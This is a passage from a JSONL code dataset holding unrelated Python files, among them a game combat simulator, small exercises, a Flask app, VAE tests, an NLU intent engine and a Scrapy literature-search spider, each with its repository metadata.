if(self.DOTTimer <= 0):\r\n #Apply DOT\r\n tempSpell = self.Cast(Player, Enemy)#Cast the DOT\r\n tempSpell.CastFinal(Player, Enemy)\r\n self.DOTTimer = 3\r\n \r\nclass HOTSpell(DOTSpell):\r\n \"\"\"\r\n This represents a Healing Over Time effect.\r\n \"\"\"\r\n\r\n def __init__(self, id, Potency):\r\n super().__init__(id, Potency, False)\r\n # Every HOT is on only one target, hence they are targetted.\r\n self.TargetHeal = True\r\n\r\n\r\nclass Auto_Attack(DOTSpell):\r\n \"\"\"\r\n DOTSpell subclass only for Autos since they have different potency depending on if ranged or melee.\r\n \"\"\"\r\n def __init__(self, id, Ranged : bool):\r\n \"\"\"\r\n Ranged : bool -> True if the auto is ranged.\r\n \"\"\"\r\n if Ranged : super().__init__(id, 80, True) # Ranged AA, 80 potency\r\n else: super().__init__(id, 90, True) # Melee AA, 90 potency\r\n\r\n self.DOTTimer = 0 \r\n\r\nclass Queen_Auto(Auto_Attack):\r\n \"\"\"\r\n Subclass of DOTSpell only for Machinist's queen autos\r\n \"\"\"\r\n\r\n def __init__(self, id, Ranged):\r\n super().__init__(id, Ranged)\r\n self.Weaponskill = False\r\n\r\nclass Melee_Auto(Auto_Attack):\r\n \"\"\"\r\n Subclass of DOTSpell only for melee autos\r\n \"\"\"\r\n def __init__(self, id, Ranged):\r\n super().__init__(id, Ranged)\r\n self.Weaponskill = False\r\n\r\nclass Ranged_Auto(Auto_Attack):\r\n \"\"\"\r\n Subclass of DOTSpell only for ranged autos\r\n \"\"\"\r\n def __init__(self, id, Ranged):\r\n super().__init__(id, Ranged)\r\n self.Weaponskill = False\r\n\r\nclass Monk_AA(Melee_Auto):\r\n \"\"\"\r\n Subclass of DOTSpell only for monk autos. The reason is that it can be on a faster rate if RiddleOfWind is activated. So the DOT\r\n update function is overwritten and checks for that and will update the timer accordingly.\r\n \"\"\"\r\n def __init__(self):\r\n super().__init__(-5, False)\r\n self.DOTTimer = 0\r\n\r\n def CheckDOT(self, Player, Enemy, TimeUnit):\r\n \r\n self.DOTTimer = max(0, self.DOTTimer-TimeUnit)\r\n\r\n if(self.DOTTimer <= 0):\r\n #Apply AA\r\n tempSpell = self.Cast(Player, Enemy)#Cast the DOT\r\n tempSpell.CastFinal(Player, Enemy)\r\n if Player.RiddleOfWindTimer > 0 : self.DOTTimer = 1.2\r\n else: self.DOTTimer = 2.4\r\n\r\ndef ApplyMonk_Auto(Player, Enemy):\r\n Player.DOTList.append(copy.deepcopy(Monk_Auto))\r\n\r\ndef ApplyMelee_AA(Player, Enemy):\r\n Player.DOTList.append(copy.deepcopy(Melee_AADOT))\r\n\r\ndef ApplyRanged_AA(Player, Enemy):\r\n Player.DOTList.append(copy.deepcopy(Ranged_AADOT))\r\n\r\ndef ApplyQueen_AA(Player, Enemy):\r\n Player.DOTList.append(copy.deepcopy(Queen_AADOT))\r\n\r\nMelee_AA = Spell(-30, False, 0, 0, 0, 0, ApplyMelee_AA, [])\r\nRanged_AA = Spell(-30, False, 0, 0, 0, 0, ApplyRanged_AA, [])\r\nQueen_AA = Spell(-30, False, 0, 0, 0, 0, ApplyQueen_AA, [])\r\n\r\nMonk_Auto = Monk_AA()\r\nMelee_AADOT = Melee_Auto(-22, False)\r\nRanged_AADOT = Ranged_Auto(-23, True)\r\nQueen_AADOT = Queen_Auto(-24, False)\r\nPotion = Spell(-2, False, 1, 1, 0, 0, ApplyPotion, [])\r\n\r\ndef conditionalAction(action : Spell, conditionFn) -> Spell:\r\n \"\"\"\r\n This function returns an Spell object that will only be used if a certain condition is met. If\r\n the condition is not met the action is equivalent to WaitAbility(0).\r\n Note that the use of this will add 0.01 seconds to the end time if the condition evaluates to false\r\n action : Spell -> Action to perform if the condition evaluates to True\r\n conditionFn : function -> Function to evaluate. This function must return a boolean value. \r\n This function will be given the Player object as input when evaluated.\r\n \"\"\"\r\n\r\n def __requirement(Player, Spell):\r\n # The conditionFn will be evaluated in the requirement checking phase.\r\n # If the conditionFn evaluates to false and we do not always allow conditional \r\n # action we effectively make this action WaitAbility(0).\r\n if not conditionFn(Player) and (not Player.CurrentFight.alwaysAllowConditionalAction) :\r\n Spell.CastTime = 0\r\n Spell.RecastTime = 0\r\n Spell.Potency = 0\r\n Spell.Effect = [] \r\n return True, 0\r\n \r\n newAction = copy.deepcopy(action)\r\n newAction.Requirement.append(__requirement)\r\n newAction.conditionalAction = True\r\n return newAction\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n","repo_name":"IAmPythagoras/FFXIV-Combat-Simulator","sub_path":"ffxivcalc/Jobs/Base_Spell.py","file_name":"Base_Spell.py","file_ext":"py","file_size_in_byte":35912,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"32"} +{"seq_id":"12808971002","text":"\"\"\"\nFaça um programa em Python que receba do usuário sete números inteiros, calcule\ne mostre:\na) Os números múltiplos de 2;\nb) Os números múltiplos de 3;\n\"\"\"\n\nlista_2 = []\nlista_3 = []\n\nfor i in range(1, 8):\n num = int(input(f'Digite o {i}º número: '))\n if num % 2 == 0:\n lista_2.append(num)\n if num % 3 == 0:\n lista_3.append(num)\nprint(f'{lista_2} são múltiplos de 2.\\n{lista_3} são múltuplos de 3.')\n","repo_name":"capy-larit/exercicios_python","sub_path":"exer79.py","file_name":"exer79.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39706461133","text":"from sqlite3 import Connection\nfrom typing import List\n\nfrom .column import Column\n\n\nclass DBMetaData:\n \"\"\"SQLite DB metadata accessor.\n \"\"\"\n\n @classmethod\n def select_table_names(cls, connection: Connection) -> List[str]:\n \"\"\"Get table names from database.\n\n Parameters\n ----------\n connection : Connection\n SQLite database connection\n\n Returns\n -------\n List[str]\n Table names\n \"\"\"\n cur = connection.execute(\n \"select name from sqlite_master where type='table';\")\n table_names = [s[0] for s in cur.fetchall()]\n return table_names\n\n @classmethod\n def select_columns_metadata(\n cls,\n connection: Connection,\n table_name: str) -> List[Column]:\n \"\"\"Get column data from the specified table.\n\n Parameters\n ----------\n connection : Connection\n SQLite database connection\n table_name : str\n The target table name\n\n Returns\n -------\n List[Column]\n Column data\n \"\"\"\n cur = connection.execute(f\"PRAGMA table_info({table_name});\")\n columns = list()\n for c in cur.fetchall():\n columns.append(Column(c[0], c[1], c[2], c[3], c[4], c[5]))\n return columns\n","repo_name":"koki-nakamura22/pyqlite","sub_path":"pyqlite/generator/dbmetadata.py","file_name":"dbmetadata.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70359358492","text":"from flask import Flask, render_template, request\nimport requests\nfrom artistAPI import main as req_musicbrainz_info\n\nfrom spotifyAPI import get_spotify_artist_info\n\nfrom youtube_api import get_youtube_videos\n\napp = Flask(__name__)\n\n\n@app.route('/') # home page\ndef homepage():\n return render_template('index.html')\n\n\n@app.route('/save', methods=['POST'])\ndef save_data():\n data = request.get_json()\n print(data)\n value = \"{{Music.data}}\"\n name = \"Music.db\"\n value = request.form.get('Music.db')\n return 'saved'\n\n\n@app.route('/get_artist') # will get the artist info from the API\ndef get_artist_info_route():\n # safer - return None if no username\n # safer - return None if no username\n artist = request.args.get('artist-Input')\n\n # Using different API modules and passing in users' artist input value for the call\n returnUser = req_musicbrainz_info(artist)\n # Spotify will currently return information for artist's Stage name, followers count, artist image,albums w/images, and top tracks w/images\n spotify_information = get_spotify_artist_info(artist)\n\n artist_video = get_youtube_videos(artist)\n\n # Checking if all information on artist is not found for both api calls, return no artist found message template, else render template with their information\n\n # If we get a None , we should display a no info found on our template.\n if spotify_information is None and returnUser is None:\n return render_template('artist.html', returnUser=returnUser, spotify_information=spotify_information)\n else:\n # Here we will return all the info that we get to create our Bio\n\n return render_template('artist.html', returnUser=returnUser, spotify_information=spotify_information, artist_video=artist_video) # render our data, and send it to the html file to display.\\\n\n # if returnUser == None:\n # return render_template('artist.html', artistName='No artist found.')\n # else:\n # # render our data, and send it to the html file to display.\n # return render_template('artist.html', artistName=returnUser)\n\n\nif __name__ == '__main__':\n app.run(debug=True, port=5001)\n","repo_name":"dakota-bruffett/Project_3_Apis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"19228037206","text":"import math\nfrom rich import console\nfrom rich.console import Console\n\nconsole = Console()\n\n\n# ===================CODE FOR GP TO FIND LAST TERM STARTS ============================\n\n\ndef gp_last_term():\n term_1 = float(input(\"Enter 1st term of GP: \"))\n common_ratio = float(input(\"Enter common ratio(r): \"))\n no_terms = int(input(\"Enter no. of terms: \"))\n\n # to find last term\n result_gp = term_1 * (int)(math.pow(common_ratio,no_terms-1))\n console.print(result_gp)\n\n\n# ====================CODE FOR GP TO FIND LAST TERM END ==============================\n\n#====================CODE FOR GP TO FIND SUM===========================\n\ndef gp_sum():\n term_a = float(input(\"Enter 1st term of GP: \"))\n c_ratio = float(input(\"Enter common ratio: \"))\n n_term = int(input(\"Enter no of term: \"))\n \n # checking if r>1 or r<1\n \n if c_ratio > 1.0:\n sn = (term_a)/(c_ratio-1) * ((int)(math.pow(c_ratio,n_term))-1)\n console.print(sn)\n elif c_ratio < 1.0:\n sn2 = (term_a)/(1-c_ratio) * (1-(int)(math.pow(c_ratio,n_term)))\n console.print(sn2)\n","repo_name":"ayushk-singh/Project-Math","sub_path":"root/sequence_series/gp.py","file_name":"gp.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34446464728","text":"import os\nfrom copy import deepcopy\n\nimport numpy as np\nimport pytest\nimport torch\nfrom PIL import Image\nfrom torch import nn\n\nfrom multivae.data.datasets.base import MultimodalBaseDataset\nfrom multivae.metrics.base import Evaluator, EvaluatorConfig\nfrom multivae.metrics.reconstruction import Reconstruction, ReconstructionConfig\nfrom multivae.models import JMVAE, JMVAEConfig, MoPoE, MoPoEConfig\nfrom multivae.samplers import GaussianMixtureSampler, GaussianMixtureSamplerConfig\n\n\n@pytest.fixture\ndef jmvae_model():\n return JMVAE(\n JMVAEConfig(\n n_modalities=2, input_dims=dict(mnist=(1, 28, 28), svhn=(3, 32, 32))\n )\n )\n\n\n@pytest.fixture\ndef dataset():\n return MultimodalBaseDataset(\n {\"mnist\": torch.randn(30, 1, 28, 28), \"svhn\": torch.randn(30, 3, 32, 32)},\n labels=torch.ones(30),\n )\n\n\n@pytest.fixture\ndef output_logger_file(tmpdir):\n os.mkdir(os.path.join(tmpdir, \"logger_metrics\"))\n return os.path.join(tmpdir, \"logger_metrics\")\n\n\nclass TestReconstruction:\n @pytest.fixture(params=[\"SSIM\", \"MSE\"])\n def config_params(self, request):\n return {\"metric\": request.param}\n\n def test_reconstruction_config(self, config_params):\n config = ReconstructionConfig(\n metric=config_params[\"metric\"],\n )\n assert config.metric == config_params[\"metric\"]\n\n def test_reconstruction_subset_compute(\n self, jmvae_model, config_params, output_logger_file, dataset\n ):\n config = ReconstructionConfig(metric=config_params[\"metric\"])\n\n evaluator = Reconstruction(\n model=jmvae_model,\n output=output_logger_file,\n test_dataset=dataset,\n eval_config=config,\n )\n\n reconstruction_error = evaluator.reconstruction_from_subset([\"mnist\"])\n assert type(reconstruction_error) == torch.Tensor\n assert reconstruction_error.size() == torch.Size([])\n\n assert (\n f'{[\"mnist\"]} reconstruction error ({config_params[\"metric\"]})'\n in evaluator.metrics\n )\n\n def test_eval(self, jmvae_model, config_params, output_logger_file, dataset):\n config = ReconstructionConfig(metric=config_params[\"metric\"])\n\n evaluator = Reconstruction(\n model=jmvae_model,\n output=output_logger_file,\n test_dataset=dataset,\n eval_config=config,\n )\n\n metrics = evaluator.eval()\n assert all(\n [\n key in metrics.keys()\n for key in [\n f'{[\"mnist\"]} reconstruction error ({config_params[\"metric\"]})',\n f'{[\"svhn\"]} reconstruction error ({config_params[\"metric\"]})',\n f'{list(jmvae_model.encoders.keys())} reconstruction error ({config_params[\"metric\"]})',\n ]\n ]\n )\n\n evaluator.finish()\n","repo_name":"AgatheSenellart/MultiVae","sub_path":"tests/test_reconstruction.py","file_name":"test_reconstruction.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"41856502910","text":"# Theo\n# create completly imbalance phylo trees\n\nfrom ete3 import Tree as tr\n\nt1=tr()\nt1.populate(2, random_branches=False)\n\nfor n in range(1,99):\n node=None\n for i in t1:\n if i.name == \"aaaaaaaaaa\":\n node=i\n t2=tr()\n t2.populate(2, random_branches=False)\n t2.name=\"t2\"\n break\n node.add_child(t2, dist=0)\n rem=t1&\"t2\"\n rem.delete()\n t1.convert_to_ultrametric()\n t=t1.copy()\n names=1\n for i in t:\n i.name=names\n names+=1\n t.write(format=1, outfile=str(n+2), format_root_node=True)\n","repo_name":"theotricou/abba_baba","sub_path":"python3/imbalanced_tree.py","file_name":"imbalanced_tree.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12556444470","text":"import argparse\nimport pandas as pd\nfrom pathlib import Path\nfrom natsort import os_sorted\nfrom utils import str2bool\n\ndef get_args_parser():\n parser = argparse.ArgumentParser('Image preprocessing for machine learning', add_help=False)\n # ------------------------------------------ Path info statistics ------------------------------------------------\n # It is better to set the global parameters here since each script will use the parameters.\n parser.add_argument('--images', '-i', type=str, help='The directory path of the image of the dataset')\n parser.add_argument('--labels', '-l', type=str, default='',\n help='Path to labels. For a classification task, this should be a CSV file. \\\n For a segmentation task, this should be a directory with mask images.')\n parser.add_argument('--dataset_file', type=str, default='', help='The path of dataset information file.')\n return parser\n\n\ndef main(args):\n # ------------------------------ Define the traversal rules of image search ------------------------------\n image_dir = Path(args.images)\n image_names = os_sorted([x.name for x in image_dir.iterdir()])\n image_pids = ['_'.join(x.split('_')[:2]) for x in image_names]\n image_paths = [str(image_dir / name) for name in image_names]\n path_info = pd.DataFrame({'pid': image_pids, 'image': image_paths})\n\n if args.labels:\n label_dir = Path(args.labels)\n label_names = [x.name for x in label_dir.iterdir()]\n label_pids = ['.'.join(x.split('.')[:-2]) for x in label_names]\n label_keys = {x: y for x, y in zip(label_pids, label_names)}\n label_names = [label_keys[id] for id in image_pids]\n label_paths = [str(label_dir / name) for name in label_names]\n path_info['label'] = label_paths\n\n if args.dataset_file:\n set_df = pd.read_csv(args.paths_dataset)\n cols = ['pid', 'dataset']\n sub_df = set_df[cols]\n path_info = pd.merge(left=path_info, right=sub_df, on='pid', how='left')\n path_info = path_info.fillna('nonused')\n\n outdir = Path('./output/dataset_statistics').absolute()\n path_info.to_csv(outdir / 'path_statistics.csv', index=0)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('Image format convert', parents=[get_args_parser()])\n args = parser.parse_args()\n main(args)\n","repo_name":"wyd1216/Medical_image_processing","sub_path":"dataset_statistics/path_statistics.py","file_name":"path_statistics.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"40718329028","text":"\"\"\"\nThe WorldVectorIntentEngine class module.\n\"\"\"\nfrom nltk.corpus import stopwords\nfrom peque_nlu.intent_engines import BasicIntentEngine\nfrom peque_nlu.utils import glove_load\n\n\nclass WorldVectorIntentEngine(BasicIntentEngine):\n \"\"\"\n The WorldVectorIntentEngine class.\n\n This class is used to create a world vector intent engine.\n This works by checking using the glove vectors, to check if there are\n similarities between the input text and the examples.\n \"\"\"\n\n def __init__(self, language, gensim_model=None):\n \"\"\"\n Initialize the WorldVectorIntentEngine.\n\n :param language: The language to use.\n :type language: str.\n\n :param gensim_model: The gensim model to use.\n It can be a model name (str) or a KeyedVectors object.\n :type gensim_model: str or KeyedVectors.\n \"\"\"\n\n self.stopwords = stopwords.words(language)\n self.json_dataset = None\n self.glove_vectors = glove_load(gensim_model)\n\n def _pred(self, text) -> tuple:\n \"\"\"\n Predict the intent of the input text.\n\n :param text: The input text.\n :type text: str.\n :return: The intent and the probability.\n :rtype: tuple.\n \"\"\"\n text = text.lower().split()\n\n results = []\n for intent, examples in self.json_dataset.items():\n for example in examples:\n example = example.lower().split()\n similarity = self.glove_vectors.wmdistance(text, example)\n results.append((intent, similarity))\n\n results = sorted(results, key=lambda x: x[1])\n return results[0]\n\n def predict(self, text) -> tuple:\n \"\"\"\n Predict the intent of the input text.\n\n :param text: The input text.\n :type text: str.\n :return: The intent and the probability.\n :rtype: tuple.\n \"\"\"\n\n intents = []\n probabilities = []\n\n for text_item in text:\n result = self._pred(text_item)\n intents.append(result[0])\n probabilities.append(result[1])\n return intents, probabilities\n\n def fit(self, text, intent):\n \"\"\"\n Fit the intent engine to train the model.\n\n :param text: The input text.\n :type text: str.\n :param intent: The intent of the input text.\n :type intent: str.\n \"\"\"\n\n self.json_dataset = {}\n\n for text_item, intent_item in zip(text, intent):\n if intent_item not in self.json_dataset:\n self.json_dataset[intent_item] = []\n\n self.json_dataset[intent_item].append(text_item)\n","repo_name":"HectorPulido/peque-nlu","sub_path":"peque_nlu/intent_engines/world_vector_intent_engine.py","file_name":"world_vector_intent_engine.py","file_ext":"py","file_size_in_byte":2643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11677519250","text":"from ..processor import Processor\nfrom ..mfp_app import MFPApp\nfrom ..bang import Uninit \n\nclass Slew(Processor):\n doc_tooltip_obj = \"Limit the slew rate of a signal\"\n doc_tooltip_inlet = [\"Signal input\", \"Rise rate limit (per mS)\", \n \"Fall rate limit (per mS)\" ]\n doc_tooltip_outlet = [\"Signal output\"]\n\n def __init__(self, init_type, init_args, patch, scope, name):\n Processor.__init__(self, 3, 1, init_type, init_args, patch, scope, name)\n\n initargs, kwargs = self.parse_args(init_args)\n if len(initargs) > 1:\n rise = initargs[0]\n fall = initargs[1]\n elif len(initargs):\n rise = fall = initargs[0]\n else:\n rise = fall = 10000\n\n self.hot_inlets = [0, 1, 2]\n self.dsp_inlets = [0]\n self.dsp_outlets = [0]\n\n async def setup(self):\n await self.dsp_init(\"slew~\")\n self.dsp_obj.setparam(\"rise\", rise)\n self.dsp_obj.setparam(\"fall\", fall)\n\n async def trigger(self):\n if self.inlets[0] is not Uninit: \n val = float(self.inlets[0])\n self.dsp_obj.setparam(\"_sig_0\", val)\n if self.inlets[1] is not Uninit: \n val = float(self.inlets[1])\n self.dsp_obj.setparam(\"rise\", val)\n if self.inlets[2] is not Uninit: \n val = float(self.inlets[2])\n self.dsp_obj.setparam(\"fall\", val)\n\n\n\ndef register():\n MFPApp().register(\"slew~\", Slew)\n\n","repo_name":"bgribble/mfp","sub_path":"mfp/builtins/slew.py","file_name":"slew.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"32"} +{"seq_id":"74565508252","text":"'''\r\nModule name: graph_funcs.py\r\nAuthor: Nathaniel Morrison\r\nDate created: 05/24/2020\r\nDate last modified: 08/30/2020\r\nPython Version: 3.7.2\r\n'''\r\nimport networkx as nx\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#Function to turn the grid and adjacency matrix into a networkx graph object\r\ndef to_network(adj_mtx,grid,idm, flag_bound=False):\r\n #Create an empty graph object\r\n G=nx.Graph()\r\n #Add every center as a node in the graph\r\n G.add_nodes_from(range((len(adj_mtx))))\r\n cell_num=0\r\n #Run through each row in the grid\r\n for ybox in range(len(grid)):\r\n #Run through each cell in the row\r\n for xbox in range(len(grid[ybox])):\r\n #Run through each node in the cell\r\n cell=grid[ybox][xbox]\r\n bound_cell=False\r\n cell_num+=1\r\n for node in range(len(cell)):\r\n #Grab the node's assigned index\r\n node_ind=idm[ybox][xbox][node]\r\n coords=cell[node]\r\n #Assign the center's node the coordinates in the grid\r\n G.nodes[node_ind]['Coords']=coords\r\n #If we're flagging the boundary\r\n if flag_bound:\r\n #If the last entry in the node tuple flags this as a boundary cell\r\n if coords[-1]==True:\r\n #Flag this as a boundary cell\r\n bound_cell=True\r\n #If the first node in this cell was flagged as a boundary, thereby flagging the whole stack as a boundary\r\n if bound_cell:\r\n #Give the node a 'Bound?' property with a value of True\r\n G.nodes[node_ind]['Bound?']=True\r\n #Assign the stack/box in which this node lives a unique \"Cell\" number to identify it with other nodes in the same boundary cell\r\n G.nodes[node_ind]['Cell']=cell_num\r\n else:\r\n #Give it a value of False to maintain consistancy across all nodes\r\n G.nodes[node_ind]['Bound?']=False\r\n #Find all vertices the current node is already linked to\r\n cur_neighbors=nx.neighbors(G,node_ind)\r\n #Run through the node's row in the adjacency matrix\r\n for ind2 in range(len(adj_mtx[node_ind])):\r\n #If there is not already an edge connecting the two nodes and the adjacency matrix says there should be\r\n if ind2 not in cur_neighbors and adj_mtx[node_ind][ind2]==1:\r\n #Add an edge\r\n G.add_edge(node_ind,ind2)\r\n return G\r\n\r\n#Function to plot a graph version of the kinetoplast model\r\ndef graph_visualizer(kpn):\r\n #Run throughe each edge\r\n for edge in kpn.edges:\r\n #Extract the coordinates of its two endpoints and plot them with a line connecting them\r\n link_x=(kpn.nodes[edge[0]]['Coords'][0],kpn.nodes[edge[1]]['Coords'][0])\r\n link_y=(kpn.nodes[edge[0]]['Coords'][1],kpn.nodes[edge[1]]['Coords'][1])\r\n plt.plot(link_x,link_y,'.b-')\r\n x=list()\r\n y=list()\r\n #Run through each node\r\n for node in kpn.nodes:\r\n try:\r\n #Collect their coordinates\r\n x.append(kpn.nodes[node]['Coords'][0])\r\n y.append(kpn.nodes[node]['Coords'][1])\r\n except:\r\n print(node)\r\n #Plot them all\r\n plt.scatter(x,y)\r\n #Display the plot\r\n plt.show()\r\n return\r\n\r\n#Function to export a component plot mid-dissolution\r\ndef export_graph_pic(G,dissolutions,path):\r\n #Create a position dictionary, with node indices as keys and node coordinates as entries\r\n pos_dict=dict()\r\n for node in G.nodes:\r\n pos_dict[node]=G.nodes[node]['Coords']\r\n #Create an empty matplotlib figure\r\n fig = plt.figure(figsize=(13.333,10))\r\n #Draw the nodes with nx's built-in function. The function uses matplotlib to do the actual rendering, but I have a feeling it's more optimized than my code\r\n nx.draw_networkx_nodes(G,pos=pos_dict,node_size=5)\r\n #Theoretically, nx's built-in function to plot edges, nx.draw_networkx_edges(G,pos=pos_dict), should do this, but matplotlib raises an error when I try to use that.\r\n #So, do this part manually.\r\n for edge in G.edges:\r\n link_x=(pos_dict[edge[0]][0],pos_dict[edge[1]][0])\r\n link_y=(pos_dict[edge[0]][1],pos_dict[edge[1]][1])\r\n plt.plot(link_x,link_y,'.b-', linewidth=1, markersize=5)\r\n #Add the title to the figure\r\n fig.suptitle(('KP Model After '+str(dissolutions)+ ' Dissolutions'), fontsize=20)\r\n #Save the figure with 300 dots per inch\r\n fig.savefig(path+'after'+str(dissolutions)+'dissolutions_componentPlot.png',dpi=300)\r\n #Clear the figure so it dosen't interfere with the next one when it is created\r\n plt.clf()\r\n return\r\n\r\n\r\n#Function to compute average degree of the graph\r\ndef avg_deg(G):\r\n #Get a list of two-tuples, first element being a node index and second being its degree\r\n lis=tuple(G.degree())\r\n #Extract all the degrees\r\n n=1\r\n degs=[x[n] for x in lis]\r\n #Return the average of this list\r\n return sum(degs)/len(degs)\r\n\r\n#Function to compute minimum degree of the graph\r\ndef min_deg(G):\r\n #Get a list of two-tuples, first element being a node index and second being its degree\r\n lis=tuple(G.degree())\r\n #Extract all the degrees\r\n degs=[x[1] for x in lis]\r\n #Sort it in ascending order\r\n degs.sort()\r\n #Return the smallest value in this list\r\n return degs[0]\r\n","repo_name":"ThisSentenceIsALie/kinetoplast","sub_path":"kinetoplast/graph_funcs.py","file_name":"graph_funcs.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"39429783973","text":"print(pow(8,3)) # this is a comment, does not appear when script is run\n# Working with lists\nfriends = [\"Jacob\", \"Erin\", \"Blake\", 7, False, False, \"Oscar\", \"Toni\"]\nprint(friends[3]) # Recall that first index position is 0, then 1, 2, 3 etc.\nprint(friends[-1]) # Starts from back of the list, first index at back of list is -1, then -2, -3 etc.\nprint(friends[0:5]) # Selected a range of index 0 to 2 (not including last index)\nfriends[1] = \"Jake\"\nprint(friends[1])\n# List functions\nlucky = [17,9,5,7,3,99]\nfriends.extend(lucky)\nfriends.append(\"Gus\") # will always add to the end of the list\nfriends.insert(1, \"Kelly\") # new element added, then everything else pushed to the right\nfriends.remove(7) # removes first numeric 7 contained in the list, may be more 7's in rest of list\nprint(friends)\n\nlist = [4,2,5,13,9,23,25]\nprint(list)\n# list.clear() # should remove entire list, not working here in Atom but works in terminal\nlist.pop() # removes the last element in the list\nprint(list)\n# list2 = list.copy() # should make a duplicate copy list, not working here in Atom but works in terminal\n# print(list2)\n\nprint(friends)\nprint(friends.index(\"Gus\"))\nprint(friends.count(False)) # counts the number of the stated element (boolean, string, or number)\nlist.sort() # sort works for numbers and alphabetical order for text\nprint(list)\nlucky.reverse()\nprint(lucky)\n\n\n# Tuples are immutable or cannot be changed/modified (e.g., coordinates)\n# Recall that lists [ ] are mutable and can be changed or modified\ncoordinates = (4, 5)\n# cannot do this and change index element: coordinates[1] = 10 because it returns an error (immutable)\nprint(coordinates[0])\nxy = [(4, 5), (6, 7), (80, 34)] # A list of tuples\nprint(xy[2])\n\n# Functions\ndef say_hi(name, age): # function with inputs\n print(\"Introductions:\")\n print(\"Hello \" + name + \", you are \" + str(age))\n\nprint(\"\\nStart\")\nsay_hi(\"Natalie\", 27) # Calling the actual function\nsay_hi(\"Isabelle\", 34) # Calling the actual function\nprint(\"End\\n\")\n\n# Return Statement (boolean, string, array)\ndef cube(x):\n return pow(x,3) # Cannot put any more code after the return statement, return breaks function\n\nc = cube(5)\nprint(str(c) + \"\\n\")\n\n# If Statements\nis_male = False # Set boolean as True or False\nis_tall = False # Set boolean as True or False\nif is_male or is_tall: # can use \"or\" as well as \"and\"\n print(\"You are a male or tall or both\")\nelse:\n print(\"You are neither male nor tall\")\n\n# Use of \"and/not/elif\"\nif is_male and is_tall:\n print(\"You are a tall man\")\nelif is_male and not(is_tall):\n print(\"You are a short man\")\nelif not(is_male) and is_tall:\n print(\"You are not a man, but you are tall\")\nelse:\n print(\"You are neither a man nor tall\")\n\n# Exponential Function via For Loop\ndef raise_to_power(base_num, pow_num):\n res = 1\n for index in range(pow_num):\n res = res * base_num # base_num * base_num * base_num * ... etc.\n return res\n\nteams = (raise_to_power(2, 5))\nprint(\"There are \" + str(teams) + \" teams in the tournament.\")\n\n# Array\nrows = 3\ncols = 7\nA = [[1]*cols for _ in range(rows)]\nprint(A)\nprint(3**3)\n\n# 2D Lists and Nested Loops\nnum_grid = [\n[1, 2, 3], # row 0 with 3 columns\n[4, 5, 6], # row 1 with 3 columns\n[7, 8, 9], # row 2 with 3 columns\n[0] # row 3 with 1 column\n]\nprint(num_grid[0][0])\nprint(num_grid[2][1])\nprint(num_grid[3][0])\n# Print out every element in a 2D array\nfor row in num_grid:\n for col in row:\n print(col)\n\ndef translate(phrase):\n translation = \"\"\n for letter in phrase:\n if letter in \"AEIOUaeiou\": # if letter.lower() in \"aeiou\"\n if letter.isupper():\n translation = translation + \"_Y_\"\n else:\n translation = translation + \"_y_\"\n else:\n translation = translation + letter\n return translation\n\nprint(translate(\"Hello Canada\")) # can replace user's choice: input(\"Enter a phrase: \")\n'''\nMultiple-line comments useful for blocking out codes for debugging\nbut should generally use # for each line\n'''\n","repo_name":"ianwang-life/COVID19-Analysis","sub_path":"scripts/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20146158420","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy.http import Request\n\nimport re\nimport json\n\nimport sys\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\nclass RetrievalSpider(scrapy.Spider):\n name = \"retrieval\"\n start_urls = []\n cookies = {}\n\n def __init__(self):\n self.clear()\n self.load_cookies()\n for line in open(\"data/query.txt\"):\n self.start_urls.append(\"http://nc.yuntsg.com/presultjsonp.do?q=%s&page=1\" % line.strip())\n\n def start_requests(self):\n for url in self.start_urls:\n yield Request(url=url, cookies=self.cookies, callback=self.parse)\n\n def parse(self, response):\n t = json.loads(response.body[5:-1])\n self.json_handle(t)\n query = t[\"key\"]\n allpage = int(t[\"allpage\"])\n if allpage > 1:\n for page in range(2, allpage + 1):\n url = \"http://nc.yuntsg.com/presultjsonp.do?q=%s&page=%d\" % (query, page)\n yield Request(url=url, cookies=self.cookies, callback=self.next_parse)\n\n def next_parse(self, response):\n t = json.loads(response.body[5:-1])\n self.json_handle(t)\n\n def json_handle(self, t):\n query = t[\"key\"]\n for paper in t[\"info\"]:\n self.save(\"%s\\t%s\\t%s\" % (query, paper['pmid'], paper['title']))\n\n def load_cookies(self):\n for line in open(\"data/cookies.txt\"):\n if line[0] == '#':\n continue\n t = line.strip().split('\\t')\n if len(t) == 7 and (t[0] == '.yuntsg.com' or t[0] == 'nc.yuntsg.com'):\n self.cookies[t[5]] = t[6]\n\n def save(self, line):\n df = open(\"data/retrieval.txt\", \"a\")\n df.write(\"%s\\n\" % line)\n df.close()\n\n def clear(self):\n df = open(\"data/retrieval.txt\", \"w\")\n 